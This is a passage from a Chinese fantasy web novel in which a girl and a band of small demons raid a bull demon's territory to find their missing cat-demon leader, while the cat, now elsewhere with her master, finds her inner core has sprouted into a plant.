* 山上,小泉峰。 月色下,整座山上都闹哄哄的。 今天大家都没睡。 东坡子洞里的小妖们在风妧的帮助下,跟着风氏的降妖师一起夜袭蛮牛。 小妖们心里憋着一股气,一定要打败蛮牛,找到大王的下落! 风妧也很担心失踪大半个月的衔蝉,跟着大部队一起浩浩荡荡的杀到了小泉峰山脚下,并且开始朝隔壁山头上冲锋。 风梓骂骂咧咧的跟在她身后。 “所以说我们为什么要帮一群小妖来打另一群小妖啊!” “阿妧表妹!等等我!你别跑那么快啊!我们才是你真正的族人啊喂!” 林时也气喘吁吁的坠在队伍最末尾,撕心裂肺的大喊:“阿妧!回来!!危险!回来啊!!别去!!” 风妧却充耳不闻,闷头冲得飞快,眨眼就跟东坡子洞的小妖们一起冲进了蛮牛的地盘。 等林时喘着粗气追上来的时候,这边的混战都已经开始了。 东坡子洞的小妖们凶悍的拔刀砍杀敌妖,边砍边问:“我们大王呢?!你们把我们大王弄到哪里去了!说!” 蛮牛的手下们一头雾水:“你们的大王,干嘛来问我们要!找死!砍她!” 两边一触即发,眨眼就打成一团。 风妧也跟着小妖们冲到了第一线,抄起罗盘就往敌妖头上砸! 风梓目瞪口呆。 罗盘是这么用的吗?! 风妧却不答,继续抄起罗盘当砖头用,一砸一个准。 其实不是她不想用别的降妖法宝,而是她现在不敢用她娘留下的那些宝贝。 她怕自己学艺不精,万一造成什么无差别伤害,到时候敌妖没打着,反而把队友们给打趴下了。 那些宝贝不能用,风妧又还没来得及学会太多真正的降妖本事,就只好用笨办法抄起罗盘砸喽。 这也是没办法的事情嘛。 风妧自己倒是觉得这罗盘用得挺顺手的,但风氏的人却看得眉头紧锁。 有道是内行看门道,这些正儿八经的降妖师只需要一眼就能看出风妧的身法很生疏。 而且看她那大错特错的罗盘用法就知道,她似乎并没有学会什么真本事。 但这不应该啊! 她可是那人的孩子,再怎么也不至于学得这么差吧! 就算是有林时那么个废物爹拖后腿,但她有那样厉害的娘,资质再差也不至于差到哪里去吧! 怎么会这么大了,却连风氏的基本功都没学好呢?! 是她自己资质不好,还是没有认真学,或者是干脆就没学?! 风梓哇哇大叫:“阿妧表妹!你在做什么!你是降妖师啊!用符箓啊!用法宝啊!” 风妧被他吵得脑瓜子疼,翻了个白眼。 是她不想用法宝用符箓吗? 是她还没学会画符呢! 但凡她学会了画符,她首先就要画个堵嘴的符,把风梓的嘴巴给封上。 一天天的,尽说些她不爱听的话。 风氏的大玄师们看得更清楚,他们一边随手帮忙抵挡蛮牛手下的小妖,一边皱着眉头继续观察风妧的动作。 蛮牛那边的小妖很快就发现了不对劲。 “不好!有降妖师!!快跑!!” 惊觉对手不止有隔壁的小妖,还有大批的降妖师之后,蛮牛手下的小妖们很快就怂了。 他们呼啦一声散开,转头就要逃命去。 但东坡子洞的妖和风妧怎么能让他们跑? 她们当即就追了上去。 蛮牛的手下们被追得满山跑,吱哇乱叫:“不好了!祸事了!大王救命啊!!降妖师来了!” 正在洞府里睡大觉的蛮牛:“?!” 蛮牛怒吼一声,变成原型冲了出来。 “什么降妖师!正好抓了给本王做肉汤吃!” 比野象还大的妖牛横冲直撞的杀将出来,很快就将一群小妖撞得人仰马翻。 但当他冲到风氏的某个大玄师面前,看到他腰间的银色令牌后,这妖牛马上就是一个急转弯。 夭寿哦!这个打不过! 天杀的!为什么他们山上会来这么多降妖师啊?! 风氏的大玄师跟蛮牛打了个照面,当场就用一张符纸炸断了蛮牛一根牛角。 蛮牛嗷的一声,跑得更快了! 风妧见状连忙追上去:“别跑!快老实交代!你们把衔蝉弄到哪里去了?!” “速速交出衔蝉,否则就别怪我们不客气了!” 蛮牛大叫:“什么衔蝉不衔蝉!不知道你在说些什么!嗷!” 小狐狸猛地跳起来一口咬住了蛮牛的尾巴:“撒谎!” 愤怒之下,她竟将蛮牛的尾巴给咬断了! 她吐出蛮牛的半截尾巴:“半个月前,我们大王来你们这里之后就再也没回去过!还说不是你们干的?!” 蛮牛这才想起,大半个月前,他的地盘上确实来了个陌生妖。 但她已经被他打下悬崖了! 死得透透的了! “哈!你们说那个猫妖?!她就是你们的大王?那你们的大王已经死了!尸骨无存哈哈哈哈!” 感觉自己又扳回来一盘,蛮牛大笑起来。 边跑边笑,喝了一肚子风进去。 小狐狸站在原地,如遭雷击。 东坡子洞众妖也悲愤至极! “不许跑!把话说清楚!什么叫我们大王已经死了?!” 蛮牛嚣张大喊:“她已经被我打下悬崖了!万丈深渊!你们想给她收尸都收不到!或哈哈哈!!” “我杀了你!!!” 白三姑,小狐狸,三参,风妧异口同声的怒吼一声,然后齐刷刷朝蛮牛扑去! 蛮牛见那几个大玄师没动,心下稍稍安定几分,转头跟一人三妖缠斗起来。 但风氏的大玄师怎么可能坐视风妧被妖牛攻击? 他们很快便出手,用符咒制服了蛮牛,并将它五花大绑起来。 蛮牛被捆成粽子,嘴里还在嗷嗷叫,但很快他就叫不出来了。 风氏的大玄师直接打晕了他。 风妧跳脚:“做什么!我们还要问他话!” 风氏的大玄师摇摇头:“我们也有话要问你。” 其中一人不由分说的拉起风妧的手腕,搭在她的脉门上按了几下。 “你怎么回事?这么大了,连内丹都还没修出来?” 风妧恼羞成怒的拍开他的手:“啊!那咋了!我学得慢不行吗!谁规定我这个年纪就一定能修出内丹了?!” 风梓忽然冒出来接话:“可是我们风氏的小辈差不多十岁左右就能修出内丹了诶。” “像我,八岁就修出内丹了!” 风氏的大玄师点点头,再次回看风妧:“所以你是怎么回事?” “你是没认真学,还是压根没学?” 风妧还没说话,终于追上来的林时就脸色一白。 因为风妧为什么这个年纪还没修出内丹来,他比谁都更清楚。 现在,他辛辛苦苦瞒了天都风氏十几年的秘密,马上就要被发现了。 林时哆嗦着嘴唇,双手死死攥成拳,指甲都掐进了掌心里。 他拼命祈祷风妧不要说出什么会让他暴露的话。 或者干脆让风妧再也说不了话。 他的祈祷似乎应验了。 正当风妧要开口说话时,整个地面猛地一颤! 猛烈的震动似乎从天边袭来,将脚下的大地都震得快要裂开,所有人都猝不及防的趔趄了一下。 霎时间,地动山摇! “地震了?!” 风妧好不容易稳住身体,又赶忙跟小狐狸和三参手拉手互相支撑。 白三姑刷拉一声变回原型,把东坡子洞里的小妖们尽可能的都拢在羽翼下。 蛮牛的手下更是一哄而散,眨眼间就趁着夜色和地震钻进了老林子里,消失不见。 风氏的人也被这突如其来的动静吓了一跳,好一会后才站稳身体。 不久后,震动停止了。 在场所有人和妖纷纷松了口气,在大家没注意到的地方,被捆成粽子的蛮牛悄悄地睁开了双眼。 他小幅度的挣扎了几下,竟真的挣脱了绳索。 他今夜似乎有些走运,因为就在他差点要被风氏的降妖师发现之前,所有的降妖师都被另一个变故转移了注意力。 风梓以及三个大玄师的腰间令牌猛地亮了起来。 他们纳闷的拿起令牌看了一眼。 居然是天师堂总堂发来的消息。 并且看样子还是大规模的召集令。 消息内容倒是很简短,就一行字。 “岭山封印松动,持银令及以上者,速归!”《 》 55-60 第56章 “岭山封印松动了?!那不是几百年都没动静了嘛!” 风梓十分诧异。 因为这个岭山封印, 是在数百年前由天师堂当时所有天师,大天师合力铸成,至今已有二百来年了。 这两百年间, 天师堂的天师们也没放松对其的监管, 不仅每隔十年都去加固封印,还围绕着岭山山脉, 建立了无数个镇压封印的据点。 就连平安镇这么偏远的地方,也有风氏在此镇守。 所以在天师堂众人眼里, 岭山封印几乎就是一道永远不会塌的钢铁堡垒。 但现在,它居然松动了?! 这可不兴松动啊! 因为岭山封印下镇压着的可不是什么小妖魔,而是至今依然让人闻风丧胆的真妖王! 想当年,那妖王几乎将天师堂整整一代的降妖师屠光! 后来还是天师堂里已经退隐闭关多年的长老们合力,燃尽了法力与性命, 才堪堪将她镇压在岭山! 那一战,让天师堂元气大伤,至今都没怎么缓过来。 当年的那一代的天师和大天师全数陨落,整个天师堂硬生生被杀到了断代。 并且从那以后,天师堂就像是遭受了诅咒一样,再也没有出过大天师。 甚至连天师也没再出几个。 所以要是那妖王真挣脱封印再次出世了, 天师堂可就完了! 现在的天师堂可经不起她再屠一遍了! 风氏众人神色凝重。 一个大玄师沉默半晌后又看向风妧。 风妧毫不客气的瞪了回去。 “看我|干嘛!我连令牌都没有, 我是不会跟你们去天师堂的!” 她要留在这里去等衔蝉回来! 那妖牛放的屁,风妧一个字都不信。 她相信衔蝉, 才不是那种随随便便就会被弄死的小配角! 她总感觉她一定还会再回来的! 所以风妧压根没想走。 什么岭山封印,跟她没有一文钱的关系! 再说了,她一个连内丹都没修出来的小菜鸟,去了又能怎么样呢。 风氏的大玄师扶额:“没说要带你去你娘呢?她当年就已经是大地师了,这次也该收到召集令了。” 风妧叉腰:“我娘收没收到召集令关你们什么事啊!” “她要是会去, 自己就去了,她要是不去,你们还能抬着她去吗!” 那大玄师一时之间居然无言以对。 是啊,那人想做什么,根本没人能拦得住。 再转念一想,天师堂总堂已经许多年没发过这种级别的召集令了,若是她看见了召集令,必然会回去的。 这样倒省得大家继续蹲在这山沟里套风妧的话了,直接去总堂应该就能再见到她。 至于风妧嘛带上她确实没什么用。 不管是出于什么原因,现在的风妧都太菜了,去哪都不顶用。 而且岭山封印松动事关重大,之后天师堂肯定要派更多降妖师进岭山去查探消息的,这风险还不低。 要是那妖王真的挣脱了一两条封印又不知道要死多少人才能给她镇压回去。 如果风妧也跟着去了,肯定是连小命都保不住。 还不如就将她留在平安镇。 反正风氏看重的也不是她,而是她背后的她娘。 想通之后,风氏众人便也不再纠结那么多,只跟风妧叮嘱了几句话,随后就带队走人了。 风梓走得不情不愿的,他悄声问三个大玄师:“就这么走了?灵植还没找到呢?” 三个大玄师摇头:“时间紧迫,灵植又不会跑,就下次再来找吧。” 反正这次他们来的最初目的已经达到了,风妧已经找回来了,还意外得知了那人的消息,也不算白来。 天师堂的召集令也来得巧,说不定正好就把她给一起召回来了。 一行人匆匆忙忙的来,又匆匆忙忙的走。 风妧看着他们远去的背影,挠了挠头。 “算了,不管他们了!我们去找衔蝉吧!” 东坡子洞的小妖们齐刷刷的点头。 什么天师堂,什么岭山封印,她们一点都不在乎,她们只想早点把失踪的大王找回来! 可一想到先前蛮牛的话,小妖们又揪心得很。 “大王她,会不会已经” 那可是万丈悬崖啊! “才不会!大王不会有事!”小狐狸和三参跳起来:“大王她超厉害的!那个蛮牛肯定是在吹牛!” “我们这就去找她!” 白三姑也点头:“大王的本事大家都知道,她一定不会那么容易就被暗算了的!” “她现在可能是受伤了正在休养,我们马上去接她!” “对!衔蝉肯定没事!”风妧也大声附和:“走!我们现在就去找她!” 众小妖见她们几个都这么信心十足,顿时又燃起了希望,纷纷跟在她们后面,一起往大山深处走。 “阿妧!别去!回来!” 林时却忽然叫住了风妧。 他冲上前,一把抓住风妧的手腕就要把她往回拉。 月色下风妧看不太清他的表情,但能感觉到他的手在不住的发抖。 连声音也有些颤抖:“山里,别去,阿妧,别去。” 因为现在他才惊觉这是哪里! 决不能让风妧进这座山! “跟爹回家,好吗?咱们回家,你不想嫁人了也行,怎么样都行,先回家!” 风妧甩开他的手。 她定定的看着他。 “爹,有些事情我不想说了,我也不问了,你也别再管我了。” “你自己回去吧,我要留在这山上。” 林时猛地抬头:“你这是什么意思?!” 风妧自嘲的笑了一声:“我什么意思你难道不懂吗?有些话咱们就不要说得太明白了,免得说出来不好听。” 刚刚风氏的人问她为什么没有修出内丹时,她心里就隐隐约约猜到什么了。 再加上这些年她多多少少也想明白了的某些事情,她是真的不想再跟林时继续纠缠下去了。 “你就当我已经嫁出去了,不会再回来了吧。” 风妧一脚踢飞一颗小石子:“反正按照你原本的计划,现在我已经在穗城不会回来了。” 林时一僵。 他的脸色越发苍白,摇摇欲坠地问:“你,你也要弃我而去了吗?” “是我弃你而去,还是你不想留我,我们心里都清楚,所以就都别提了好吗。” 说完,风妧就推开林时,头也不回的走向了东坡子洞众妖。 林时僵在原地,手指又开始发抖。 片刻后,他忽然像发疯一样冲上去,重新拽住风妧:“你不能去!!” “啧。” 风妧这次不再啰嗦,反手就是一掌,打晕了他。 再将他扛起来丢给风氏老仆:“你带他回去吧,以后别再进山了,不然下次再遇到,别怪我不客气。” 风氏老仆沉默的接过林时,朝风妧深深地鞠了一躬。 随后他扛着林时,从小泉峰上下山,两边就此别过。 风妧这边,她很快就跟东坡子洞里的小妖们重新汇合,大家一起在蛮牛的地盘上地毯式搜寻衔蝉的下落。 小狐狸和三参想了想,主动跟风妧一组。 小狐狸歪着头仔细看了一下风妧的表情,然后轻轻地蹭了蹭她的腿。 “风妧,你还好吗?” 风妧若无其事的点点头:“好着呢,别担心。” 小狐狸欲言又止:“你爹你真的不回家了吗?” 风妧扯了扯嘴角,眼里却没什么笑意。 “不回了,我已经没有家了。” 在林时背着风氏把她送给谭家的时候,她就已经没有家了。 “那风府呢?” “风府早就不是我的家了。” 风妧摸了摸小狐狸:“别问了,我不会回去了,走吧。” “以后我可就赖在东坡子洞了,回头告诉衔蝉,给我也安排个正经职务,唔,我想进战斗小队。” 她看上去很洒脱的样子,但妖更好的夜间视力让小狐狸和三参都能看到她的眼眶有些红。 她们其实不太懂这种人间纠葛,她们只是感觉到风妧现在好像很难过。 她脸上好像在笑,但她的眼睛好像在哭。 想想也是,有家不能回,这跟没有家了有什么区别呢? “没事的风妧!”三参变成人形站起来拍了拍她:“以后东坡子洞就是你家!” “虽然咱们山上没有风府那么阔气,但咱们把大王找回来,一起种地修房子,不会饿着你的!” 风妧的眼里终于有了笑意:“嗯,好的。阿琅,三参,谢谢你们。” “走吧,继续找衔蝉,你们说她去哪了呢?是不是真受伤了在偷偷疗伤啊?咱们要不要给她带点药?” “带吧带吧!啊!这里有一颗止血草,我把它带上了!” “还有我的参须!我攒了一把了,等会都给大王!” “待会再去找板板要点叶子!” “好!” 大家边寻草药边找衔蝉,在山里大声呼喊着她的名字。 如果衔蝉还在山上的话,听到这喊声,她一定会主动出来跟大家汇合的。 * 当山上的小妖们在努力寻找衔蝉时,山下的衔蝉正在继续搞爆破。 被那个奇怪的梦惊醒后,衔蝉就没了睡意,干脆连夜炸岩壁。 一边炸,还一边跟风朔聊天。 “师尊,你说那个封印,它不会继续震吧?会不会影响咱们山上啊?” “那个妖王还会出来吗?她不会把咱们也一起沙了吧?” 风朔撒下豆子傀儡,挨个回答衔蝉的问题。 “封印应该不会再震,这么大的动静,天师堂肯定会派人去重新加固它的,应该影响不到咱们这。” “这已经是岭山边缘了,离封印远着呢。” “至于那个妖王嘛,难说。” “当年那么多天师大天师把命都填进去了才把她封印起来,现在天师堂的长老都断代了,还真没人敢保证她出不来。” “啊?!那万一她出来了,咱们怎么办啊!”猫十分担心:“她会杀妖吗?不会打到咱们这里来吧!” 风朔摇摇头:“应该不会。” 她很委婉地说:“听说她不屑杀无名之辈,嗯。” 衔蝉:“” 好吧,人家还看不上她们这些小虾米呢。 那可真是谢天谢地呀! 想了想,衔蝉又扭头,严肃的跟风朔说:“师尊!你出去以后也跟我们一起做无名之辈吧!” 她觉得她师尊超厉害的,万一要是那个妖王跑出来了,盯上她了怎么办啊! 所以还是苟一点,让师尊委屈一下,跟大家一起做无名之辈好了! 风朔:噗。 她笑道:“好啊,那以后为师就不出手了,全靠你保护了哦。” 衔蝉很可靠的挺直胸膛:“没问题!师尊你放心!以后我来保护你!” 一时间师慈徒孝。 衔蝉连夜又狂轰滥炸了一番,隧道越炸越深,在天亮时分,前方的岩壁都已经能隐约透出些许微光了。 猫大喜:“咱们是不是快把它炸穿了?!” 风朔推着轮椅上前,仔细观察了一下岩壁的情况,然后肯定地说:“差不多了。” 衔蝉马上又要画小霹雳符。 但她忘了,自己已经不眠不休的炸了一天一夜的隧道了,灵力早就见底了。 中间睡那一觉积攒起来的灵力,能撑到现在已经很不错了。 灵力彻底耗干的猫上一秒还在说话,下一秒就咚的一声栽倒在地上,不省猫事了。 风朔连忙扶住她,用自己的灵力将她变回原型,再抱到腿上,带她出去晒太阳补充灵力。 清晨的太阳不烈,晒起来刚刚好。 风朔把猫放到隧道口的干草床上,轻轻地摸了摸猫脑袋。 “好孩子,好好睡一觉吧。” 累得倒头就睡的猫在睡梦中哼唧了一声,像是在说梦话,又像是在回应风朔。 等衔蝉睡醒的时候,风朔已经生起火,把干粮烤好了。 “醒了?来吃点东西吧。” 她递给衔蝉一串菜干,还有一串油滋滋的肉。 衔蝉眼睛一下子就亮了:“哇!哪里来的肉!好香啊!” 风朔笑着指了指地上的鸟毛:“刚刚有个鸟飞下来叨你的毛,你居然都没醒。” 所以她顺手就把这只鸟给烤了。 衔蝉嘿嘿笑了一声,挠了挠后背,接过烤菜干和烤鸟就大口大口的吃了起来。 吃着吃着又感觉不对劲,好像少了点什么。 想了想,猫伸出爪子,把阳光里的灵力搓成团,撒在烤串上。 顺手给风朔也撒点“调料”。 “唔,还是有灵力的好吃!”猫狼吞虎咽。 峡谷里啥都没有,这些天她们一直在吃水煮野菜和水煮野菜干,吃得猫都快变成一条菜猫了。 尤其是当这些野菜还没啥调味料的时候,吃起来那叫一个食不知味啊。 但等衔蝉伤势好了之后,她就可以用灵力团子做调味料,让饭菜变得更好吃一点了。 现在她吃什么都得洒点灵力团子上去,不然就感觉嘴里快要淡出个鸟来了。 风朔失笑,摇摇头。 不过嘴上也没停。 因为油滋滋的烤鸟肉是真香啊,还加了灵力,跟磕灵丹似的! 风朔吃着烤鸟肉,忽然又见衔蝉变回原型,正蹲在她面前,歪着头看她吃东西,还边看边舔嘴巴,吞口水。 一整个馋猫样。 再看她的烤串,早就吃完了,连签子都舔得干干净净的了。 风朔有些好笑,把自己的烤鸟肉撕下大半递给猫:“没吃饱?再来点吧。” 猫一边舔嘴巴一边摇头:“不不不,师尊你吃吧,我就看看。我不饿,我就看看。” 话是这么说,但眼睛却死死的盯着烤串,烤串往哪动她的脑袋就跟着往哪转。 毛绒绒的肚皮也一起一伏的,看着好像有点瘪,没有平时那么圆润。 风朔一看就知道孩子这是没吃饱。 想想也是,这个年纪的孩子正在长身体,都是大胃王。 不过衔蝉今天好像格外的能吃,平时的早餐也是这么多的量,但只有今天猫没吃饱。 可能是昨天太累了,消耗太大了吧,风朔心想。 风朔把烤鸟肉直接塞进猫嘴里,又在猫开口之前说道:“要是还没吃饱的话,可以把你的藿麻催生一些出来。” “去接点山泉水,找块凹下去的石板,就可以继续煮野菜汤吃。” 衔蝉眼睛一亮,马上跑去接山泉水,找石板。 不一会,篝火堆上就多了个简易石锅。 猫催生出一大丛藿麻,摘了一堆嫩叶,一股脑的丢进石锅里。 随后她又把目光看向刚刚的烤鸟骨头。 只觉得今天前所未有的饿的猫脑子一糊,捡起鸟骨头涮了涮就一并丢进了石锅里。 风朔:孩子好像饿傻了。 但现在条件艰苦,鸟骨头煮汤也说得过去,虽然没肉了,但好歹还能煮出点肉味。 很快锅里的鸟骨头野菜汤就煮熟了。 衔蝉迫不及待的折了四根棍子当筷子,着急忙慌的招呼师尊快来一起吃。 风朔摇摇头:“我吃饱了,你吃吧。” 看给孩子饿得哟,真是让人心酸。 衔蝉见师尊确实不太饿的样子,转头就端起石锅闷头开吃。 她吃得很急,甚至连鸟骨头都一起嚼碎了吃掉了。 风朔看着她这架势,嘴角抽了抽。 孩子今天这是怎么了? 怎么饿成这样? 要是不知道的,肯定还以为她已经好几天没吃饭了呢! 衔蝉自己也不知道为什么今天会这么饿。 她一口气吃完了满满一锅鸟骨头野菜汤,一滴汤一片叶子一根骨头都没剩,但感觉还是饿。 胃好像变成了无底洞,越吃越饿。 饿得两眼昏花的猫端着锅,昏头昏脑的继续催生藿麻。 只见她一边催生藿麻,一边盯着藿麻咽口水,甚至手都伸过去了,似乎想直接生吃藿麻。 这状态就很明显有些不对了。 风朔连忙上前,握住衔蝉的手腕,替她检查了一下身体。 “你的内丹呢?!”风朔大惊:“衔蝉,快内视丹田!找找你的内丹去哪了?!” 满脑子都是好饿的猫晕乎乎的“哦”了一声,闭眼内视。 但她还没看清自己的丹田是个什么情况,就眼前一黑。 衔蝉软绵绵的倒了下去。 人形也无法维持,噗的一声变回了原型。 白底橘斑的猫像睡死了一样软倒在地,不管风朔怎么呼喊都没有回应。 但衔蝉自己是有些模糊的意识的。 她感觉自己好像又掉进了一个奇怪的梦境里。 可惜梦里的一切都是扭曲的块斑,她什么都看不清。 之前在梦里出现过一次的嘈杂声再次像流水一样淹没了她,嗡嗡嗡的,吵个不停。 衔蝉努力竖着耳朵,想要听清些什么,但最终也只能听到一些混沌的怒吼声。 恍惚中,衔蝉感觉自己好像看到了一些奇形怪状的身影。 但那些身影都像是被哈哈镜扭曲了一样,完全看不出原样,只能隐约看出似乎有很多人,还有很多她认不出来的兽?妖?或者别的什么。 衔蝉昏昏沉沉的走在这一片乱七八糟的梦境里,感觉好像看见了什么,又好像什么都没看见。 她也不知道自己走了多久,走了多远。 忽然,一声兽吼猛地在梦境里炸开! “吼————!!!” 霎时间,梦境里地动山摇,所有的光斑和人影悉数被震碎,甚至连整个梦境都像碎裂的镜子一样开始坍塌! 衔蝉混沌的脑子像是被狠狠打了一棒子一样,瞬间清醒过来! “喵嗷!!” 猫猛地从地上弹了起来! 弹簧似的猫一下子从床上蹦起来,竟直接蹦到了房顶,咚的一声撞到了头。 “嗷!” 衔蝉痛叫一声,龇牙咧嘴的伸爪揉了揉脑门。 重新跌回被窝里,衔蝉这才发现自己已经回家了。 是她和师尊在峡谷里的小木屋。 猫愣住了,傻不愣登的站在床上,整个猫都很懵。 她刚刚不是还和师尊在岩壁那边做早饭吗? 怎么一眨眼就又回来了? 这中间发生了什么? 她怎么啥印象都没有? 吱呀一声,木门被推开。 风朔端着一碗野菜汤走进来,看到歪着头站在床上发呆的猫,狠狠松了一口气。 “乖徒,你可算醒了,没事吧?还有没有哪里不舒服?” 衔蝉喵了一声,想走过去蹭蹭师尊的腿,但她四条爪子都软得很,像是被抽空了力气一样,很沉重。 她只好一屁|股坐回床上,虚弱地问:“师尊,我们怎么回来了?” 风朔推着轮椅过去摸了摸她的头,语气担忧:“你已经睡了两天两夜了。” 那天她毫无征兆的昏睡过去,任由风朔怎么喊都喊不醒,但脉象摸起来又似乎没什么问题。 风朔给她检查了很多遍,都只查出她是睡着了,可真要是睡着了,怎么会喊不醒? 见爱徒似乎突发急病,风朔也顾不得那么多了,连忙收起东西,带猫回家。 她也没想到,衔蝉这一睡就是两天。 这两天里她尝试了各种办法,包括但不限于给猫输送灵力,给猫喂饭,以及给她服用菜地里她自己催生出的灵植等等。 但都没有用。 猫就是像睡死了一样一动不动的躺在那。 要不是她的肚皮还在起伏,心跳也很平稳,风朔几乎都快以为她已经呜呼哀哉了。 现在衔蝉终于是醒过来了,风朔也稍稍放心了一点。 她把手搭在猫的额头上,问她:“有没有哪里不舒服?饿不饿?要不要先吃点东西?” 话音一落,就见猫瞪圆了眼睛,眼神直勾勾的盯着装着野菜汤的木碗,用力舔了舔嘴巴。 第57章 昏睡了两天的猫, 饭量简直堪比一头成年野猪。 只见她把猫脸埋进碗里,连头都没抬,就嗷呜嗷呜的吃完了一碗又一碗的野菜汤。 风朔看得又好笑又心疼, 后面干脆直接把石锅整个端过来, 让猫敞开吃。 衔蝉确实饿坏了,只来得及淌着口水囫囵说了句“谢谢师尊”, 转头猫脑袋就扎进锅里去了。 风朔见状,便出去继续给大胃王猫煮野菜汤。 她把那天在岩壁附近打的新石锅也带回来了, 衔蝉吃这一锅野菜汤的时候,她就去煮另一锅。 就这么一口气煮了四大锅野菜汤,衔蝉才意犹未尽的舔了舔嘴巴。 “吃饱了吗?” 衔蝉用爪子摸了摸圆润了些的肚皮,有点不好意思的点点头。 “吃饱了。” 大概有七分饱了。 至少不像刚醒来的时候那样饿得爪软了。 风朔闻言就放下手里的锅,过来摸了摸猫脑袋。 “除了饿以外, 还有哪里不舒服吗?胃撑不撑?肚子难受吗?” 衔蝉顺着师尊的手的力道仰起了脑袋,惬意的咕噜噜起来。 “没有啦,也不撑。” 不仅不撑,甚至还能继续再吃两锅呢。 说来也怪,她吃了四大锅野菜汤,但肚皮却没有明显的鼓起来, 那四锅野菜汤都像是进了黑洞一样。 猫在那小声嘀咕, 风朔听完,顺手又捏住猫爪, 给衔蝉把了把脉。 但衔蝉的脉象还是那么平稳有力,压根把不出有什么问题。 风朔想了想,又让衔蝉内视丹田。 猫照做。 一会儿后,猫睁圆了双眼:“师尊!我的内丹不见了!但是丹田里多了一颗苗苗!” 猫震惊:“啊!难道我的内丹真的是一颗种子?!它在我的丹田里发芽了?!” 她想把它掏出来都不行了! 因为它已经扎根在她丹田里了! “这是怎么回事啊!我以后还能修炼吗!” 一想起先前师尊说过的内丹就是修炼的根基的话,衔蝉就十分紧张。 她的内丹好像变质了, 这不会影响她修炼吧! 她不要变成灵智消散的傻子猫啊! 她还想继续修炼做厉害的山大王呢! 风朔也很担心这个问题。 她沉吟一会,说道:“先别急,你试试看还能召唤藿麻吗?” 猫点点头,开始尝试。 眨眼间,一颗藿麻就从她爪心冒了出来。 它整体看上去比先前小了很多,但变得更绿了,刺也更密了。 仔细看的话,还能看到刺尖尖上半透明的毒囊,跟毒蛇的牙似的。 “还能召出来!但是它变小了!” 猫举着藿麻,递给风朔看。 风朔很严肃的观察了一下这颗衔蝉的本命灵植。 “好像没什么问题,虽然变小了些,但灵力似乎更纯粹了。” “所以,这应该不是什么坏事。”她推断:“或许这跟你的天赋身世有关。” “乖徒,你有传承记忆吗?” 但凡大妖,自出生起就会有传承记忆,或许这一切的变故,衔蝉都可以从她的传承记忆里找到答案。 但衔蝉摇了摇头。 “没有哎。” 她刚被白三姑捡回来那些年就是个一直昏睡的小傻子猫,几乎没有意识。 等她醒了,虽然有了神智,但衔蝉自己清楚,那根本不是什么开智或者觉醒了传承记忆,而是她穿越到这个世界前的记忆。 换句话说,那可能是她上辈子的记忆,跟大妖的传承记忆没啥关系。 风朔一听也有些懵。 怎么会呢? 衔蝉身上有诸多谜团,又有那种程度的封印,怎么看也不该是寻常小妖啊等等! 封印! 风朔又有一个猜测:“也许你的传承记忆,也被一并封印了。” 衔蝉身上那个封印等级高得吓人,要不是她当年也颇有些来历和见识,恐怕都完全无法察觉它。 衔蝉也懵:“啊?那个封印,还把我的传承记忆给封起来了?” “不会吧,它不是保护我的吗?把传承记忆都给封起来了,我岂不是会变成啥都不懂的傻子猫?” 那样的话很明显生存难度又会提升好几个档啊! 这样做究竟是在保护她还是害她呢? 风朔摇头:“这我也不清楚,恐怕只有给你打下封印的长辈才知道是怎么回事了。” “但有一点是确定的,给你打下封印的长辈,对你没有恶意。” 她基本上可以肯定,衔蝉身上那个封印就是个跟风氏的血脉禁咒差不多性质的东西。 只是人和妖之间的文化鸿沟有点大,所以一时之间,她也没法判断它的具体作用,只能模糊的看出是个保护性质的封印。 “这个问题,或许要等你弄清你的身世之后,才能得到答案了。” 风朔总结道:“在那之前,你就先安心的照着寻常的方法修炼着吧。” 反正那封印只要对衔蝉没坏处就行。 衔蝉也是这么想的。 经过这么一遭之后,她确实对自己的身世有些好奇,但现在她压根没空去琢磨这个。 还是老老实实的修炼,赶紧找路上山才是要紧事,别的都可以往后稍稍。 “那这个小苗苗我就先继续收着了。”衔蝉收回爪心的藿麻:“反正它好像也能当内丹用呢。” 风朔很是赞同的摸了摸猫脑瓜。 衔蝉忽然又一拍爪:“啊!我忽然变得这么能吃,是不是那个小苗苗把我营养给抢了啊!” 风朔不是很明白什么是营养,但结合一下语境,她觉得衔蝉说得有道理。 “有些天才在进阶前后就是会非常缺灵力,灵力不足甚至会导致突破失败。” “你忽然饿得这么快,估计也是因为这个。” 在灵力不足的时候,人就是会有一种难以想象的饥饿感。 那种饿仿佛是从灵魂里生出来的一样,如果不能及时补充灵力,人就会饿得两眼昏花,神志不清。 妖的情况风朔不是很清楚,但估摸着应该也差不多。 而且衔蝉丹田里那颗疑似变异的内丹貌似比普通妖的内丹需要更多的灵力,所以这就能解释她为什么忽然饿得这么快了。 如果真是这样的话,那一切就说得通了。 衔蝉瞪圆眼睛:“啊,所以我也要突破啦?” 风朔:“应该是。” 为了验证衔蝉是不是真的突破了,风朔把猫端出去,放到地上。 她笑吟吟的聚灵起笔:“乖徒,来,跟为师过过招。” 衔蝉喵的一声跳起来,变成人形,兴致勃勃的迎上师尊的符文。 一张炸岩壁用的小霹雳符兜头袭来,衔蝉却抬手握拳,将灵力都汇聚到拳头上,然后一拳砸碎了这张符咒! 风朔挑了挑眉,紧接着又是一张大霹雳符。 衔蝉更来劲了,反手召出藿麻,将它叶片一捋,化作带刺的大刀模样,一刀斩碎了这张大霹雳符! “好!再来!” 这次来的是三张镇山符。 三张符咒浮上半空,以品字形的结构将衔蝉笼罩在中间。 随后符文一条条散开,再重新连接组合,眨眼间就变成了一道直径数米的圆形符阵! 巨大的符阵像山一样朝着衔蝉压了下去! 衔蝉一个不防,手里的藿麻刀都被压断了一半! 但她转头就重新催生出更多藿麻,让它们像八爪鱼一样支撑在自己头顶,将整个符阵给顶得上移了半米。 风朔见状毫不犹豫的追加了一道补灵符,圆形的符阵很快又将衔蝉往地下压! 巨大的压力让衔蝉的双脚都陷进了地里,但她和藿麻一起,双手一起支撑着符阵,硬是不肯倒下! 符阵继续下压,衔蝉的小腿也被压进了土里。 随着符阵的光芒,她催生的藿麻也逐渐撑不住的崩散开来。 先是一根藿麻被炸成光点消失,很快又是第二根,第三根 衔蝉催生藿麻的速度都赶不上藿麻被符阵压断炸开的速度了! 她自己也被压得不断往地下陷去,脚下的坑越来越深。 就在风朔以为衔蝉要被符阵镇压下去的时候,硬扛符阵撑得满头大汗的猫却忽然咧嘴一笑。 只见她忽然收起所有的藿麻,然后蓄力深呼吸,再仰头张嘴,朝符阵吐出了一粒小小的光点。 那颗光点附着在符阵正中央,看上去毫无威胁。 但下一秒,猫的手掌按了上去,将浑身仅剩的灵力全部灌注进去! 